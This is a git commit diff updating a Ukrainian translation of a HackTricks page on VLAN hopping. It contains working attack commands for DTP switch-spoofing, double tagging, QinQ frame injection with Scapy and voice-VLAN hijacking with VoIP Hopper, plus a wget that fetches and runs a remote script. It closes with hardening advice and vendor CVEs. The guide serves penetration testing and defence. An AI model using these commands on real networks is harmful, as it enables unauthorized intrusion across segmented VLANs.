mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
37e93ec791
commit
f43364d743
@ -10,7 +10,7 @@
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
|
||||
Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримувати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk
|
||||
|
||||
Потім створюються віртуальні інтерфейси, їм призначаються VLAN ID та активуються:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,19 +33,28 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
В подальшому запит адреси здійснюється через DHCP. Альтернативно, у випадках, коли DHCP не є життєздатним, адреси можна налаштувати вручну:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Приклад ручного налаштування статичної IP-адреси на інтерфейсі (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
|
||||
З'єднання перевіряється шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
|
||||
|
||||
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій.
|
||||
|
||||
@ -52,7 +62,7 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
|
||||
## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)
|
||||
|
||||
Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки на рівні 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
|
||||
Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки рівня 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
|
||||
|
||||
### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)
|
||||
|
||||
@ -61,22 +71,29 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
*Yersinia* та кілька PoC автоматизують процес:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити піворот, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*:
|
||||
Допомога розвідки (пасивно визначити стан DTP порту):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Якщо порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і перемикатися точно так, як показано в попередньому розділі.
|
||||
|
||||
### 2. Подвійне тегування (Зловживання Native-VLAN)
|
||||
|
||||
Якщо зловмисник знаходиться на **native (нетегованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2024), автоматизують ін'єкцію:
|
||||
Якщо зловмисник знаходиться на **native (негатованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може перейти до другого VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2025), автоматизують ін'єкцію:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Проходження пакета:
|
||||
1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
|
||||
2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Ця техніка все ще працює в 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.
|
||||
|
||||
### 3. QinQ (802.1ad) Стекування
|
||||
|
||||
Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy:
|
||||
Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію сервіс-провайдера. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині провайдера (S-tag), щоб перетнути зони безпеки. Захопіть для ethertype `0x88a8` і спробуйте видалити зовнішній тег за допомогою Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,6 +113,22 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
|
||||
|
||||
Корпоративні порти доступу часто знаходяться в конфігурації *“access + voice”*: немічений data VLAN для робочої станції та мічений voice VLAN, який рекламується через CDP або LLDP-MED. Імітуючи IP-телефон, зловмисник може автоматично виявити та перейти в VoIP VLAN — навіть коли DTP вимкнено.
|
||||
|
||||
*VoIP Hopper* (упакований у Kali 2025.2) підтримує CDP, DHCP options **176/242** та повне імітування LLDP-MED:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
Техніка обминає розділення даних/голосу і є надзвичайно поширеною на підприємницьких крайових комутаторах у 2025 році, оскільки LLDP авто-політика увімкнена за замовчуванням на багатьох моделях.
|
||||
|
||||
---
|
||||
|
||||
## Рекомендації щодо захисту
|
||||
@ -109,8 +136,20 @@ sendp(frame, iface="eth0")
|
||||
1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Змініть рідний VLAN на кожному транку на **невикористовуваний, чорний дірковий VLAN** і позначте його: `vlan dot1q tag native`.
|
||||
3. Виріжте непотрібні VLAN на транках: `switchport trunk allowed vlan 10,20`.
|
||||
4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2.
|
||||
5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q.
|
||||
4. Застосовуйте безпеку портів, DHCP snooping, динамічну перевірку ARP **та 802.1X**, щоб обмежити діяльність зловмисних Layer-2.
|
||||
5. Вимкніть авто голосові політики LLDP-MED (або заблокуйте їх для автентифікованих MAC OUI), якщо підробка IP-телефонів не потрібна.
|
||||
6. Віддавайте перевагу приватним VLAN або L3 сегментації замість того, щоб покладатися лише на розділення 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
## Вразливості постачальників у реальному світі (2022-2024)
|
||||
|
||||
Навіть ідеально захищена конфігурація комутатора може бути підірвана помилками в прошивці. Останні приклади включають:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** дозволяють ін'єкцію з рідного VLAN у не рідні WLAN VLAN, обминаючи дротове/безпровідне сегментування.
|
||||
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** дозволяє обхід ACL на SVI після перемикання Resilient Ethernet Protocol, витікаючи трафік між VRF/VLAN. Патч 17.9.5 або новіший.
|
||||
|
||||
Завжди стежте за рекомендаціями постачальника щодо проблем обмивання/ACL, пов'язаних з VLAN, і підтримуйте актуальність образів інфраструктури.
|
||||
|
||||
---
|
||||
|
||||
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Що таке VLAN Hopping?" (Серпень 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper project – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user